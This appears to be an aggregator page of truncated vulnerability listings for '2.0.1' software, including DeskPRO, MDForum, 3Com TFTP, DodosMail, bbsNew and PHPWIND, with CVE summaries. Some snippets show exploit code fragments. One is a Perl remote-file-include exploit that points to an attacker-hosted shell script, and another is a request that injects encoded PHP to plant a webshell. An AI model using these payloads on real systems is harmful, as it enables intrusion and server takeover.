DeskPro 2.0.1 - login.php HTML Injection

DeskPro 2.0.1 - login.php HTML Injection source: https://www.securityfocus.com/bid/23381/info DeskPRO is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code would execute in the context o...

DeskPro 2.0.1 - 'login.php' HTML Injection

source: https://www.securityfocus.com/bid/23381/info DeskPRO is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing...

[SECURITY] Fedora Core 5 Update: ekiga-2.0.1-4

GnomeMeeting is a tool to communicate with video and audio over the interne t. It uses the the standard SIP and H323 protocols...

MDForum <= 2.0.1 (PNSVlang) Remote Code Execution Exploit

No description provided by source. ? //Kacper & str0ke Settings $exploitname = "MDForum = 2.0.1 PNSVlang Remote Code Execution Exploit"; $scriptname = "MDForum 2.0.1"; $scriptsite = "http://www.maxdev.pl/Contents,Download,View,8.phtml"; $dork = '"Powered by MDForum"'; // print ' :::::::::...

Exploits 3CTftpSvc Server 2.0.1 Long Requesat Buffer Overflow (metasploit)

No description provided by source. require 'msf/core' module Msf class Exploits::Windows::Tftp::ThreeCeeTftpSvcOverflow Msf::Exploit::Remote include Exploit::Remote::Udp def initializeinfo = superupdateinfoinfo, 'Name' = '3CTftpSvc Server 2.0.1 Long Requesat Buffer Overflow', 'Description' = %q...

3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode Remote Overflow

3Com TFTP Service 3CTftpSvc 2.0.1 - Long Transporting Mode Remote Overflow 3comtftpdxpsp2.rb Copyright C cthulhu This is a poc intended to exploit the 3Com TFTP Service version 2.0.1 long transporting mode buffer overflow under xp sp2 english Vulnerability discovered by Liu Qixu Usage : ruby...

CVE-2006-6159

Multiple cross-site scripting XSS vulnerabilities in newticket.php in DeskPRO 2.0.0 and 2.0.1 allow remote attackers to inject arbitrary web script or HTML via the 1 message or 2 subject parameter...

CVE-2006-6159

CVE-2006-6159 describes multiple cross-site scripting (XSS) vulnerabilities in DeskPRO 2.0.0 and 2.0.1, exploitable via the message or subject parameters in newticket.php. The underlying issue is that remote attackers can inject arbitrary web script or HTML. The CVSS basis is 6.8 (Medium), with n...

NaviCOPA 2.0.1 URL Handling Buffer Overflow

This module exploits a stack buffer overflow in NaviCOPA 2.0.1. The vulnerability is caused due to a boundary error within the handling of URL parameters. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class...

DodosMail <= 2.0.1 (dodosmail.php) Remote File Include Vulnerability

No description provided by source. --------------------------------------|| Viva Palestine ||----------------------------------------- --------------------------------------|| Free Saddam Hussien ||----------------------------------------- DodosMail = 2.0.1dodosmail.php Remote File Include...

DodosMail 2.0.1 - 'dodosmail.php' Remote File Inclusion

--------------------------------------|| Viva Palestine ||----------------------------------------- --------------------------------------|| Free Saddam Hussien ||----------------------------------------- DodosMail DodosMail Error - the owner the php server is experiencing techinical difficulties...

PT-2006-6385 · Phpmyconferences +1 · Phpmyconferences +1

Name of the Vulnerable Software and Affected Versions: J-Pierre DEZELUS Les Visiteurs version 2.0.1 phpMyConferences version 8.0.2 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the lvc modules dir parameter in the common/visiteurs/include/library.inc.ph...

PHPWIND 2.0.1论坛直接写入木马漏洞

在程序运行时，我抓了一个包： GET /phpwind/job.php?previewjob=preview&Dname=./attachment/set.php&tidwt= chr46.chr47.chr101.chr114.chr114.chr111.chr114.chr46.chr112.chr104.chr112,w, chr60.chr63.chr32.chr101.chr118.chr97.chr108.chr40.chr36.chr95.chr80.chr79...

Exploits bbsNew => 2.0.1 Remote File Include Vulnerability

No description provided by source. !/usr/bin/perl bbsNew Class: Remote File Include Vulnerability Discovered By : Root3rH3LL = |\0073||-|311 Original Advisory : http://Www.PersainFox.coM Remote: Yes Type: high use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ====== Change...

CVE-2006-5103

PHP remote file inclusion vulnerability in admin/index2.php in bbsNew 2.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the "right" parameter...

CVE-2006-5103

PHP remote file inclusion vulnerability in admin/index2.php in bbsNew 2.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the "right" parameter...

CVE-2006-5103

The CVE describes a PHP remote file inclusion vulnerability in bbsNew 2.0.1, specifically in admin/index2.php where the attacker can supply a URL in the right parameter to cause the application to include remote PHP code. This results in remote code execution on the affected server, compromising ...

Fantastic Guestbook v2.0.1 Advisory

Hi, I found a Remote XSS Vulnerability in Fantastic Guestbook v2.0.1. Here you will find my original advisory: http://it.security.netsons.org/exploit/FGB.txt Best Regards, Omni -- Email.it, the professional e-mail, gratis per te: http://www.email.it/f Sponsor: Conto Arancio: 3.50 per tutto il 200...

PT-2006-4289 · Taskjitsu · Taskjitsu

Name of the Vulnerable Software and Affected Versions: Taskjitsu versions prior to 2.0.1 Description: The issue allows remote attackers to inject arbitrary web script or HTML via multiple unspecified parameters, including the title and description parameters when creating a task. Recommendations:...

PT-2006-4290 · Taskjitsu · Taskjitsu

Name of the Vulnerable Software and Affected Versions: Taskjitsu versions prior to 2.0.1 Description: The issue concerns the "change password forms" in Taskjitsu, where password hashes are included in hidden form fields. This allows remote attackers to obtain sensitive information from the Catego...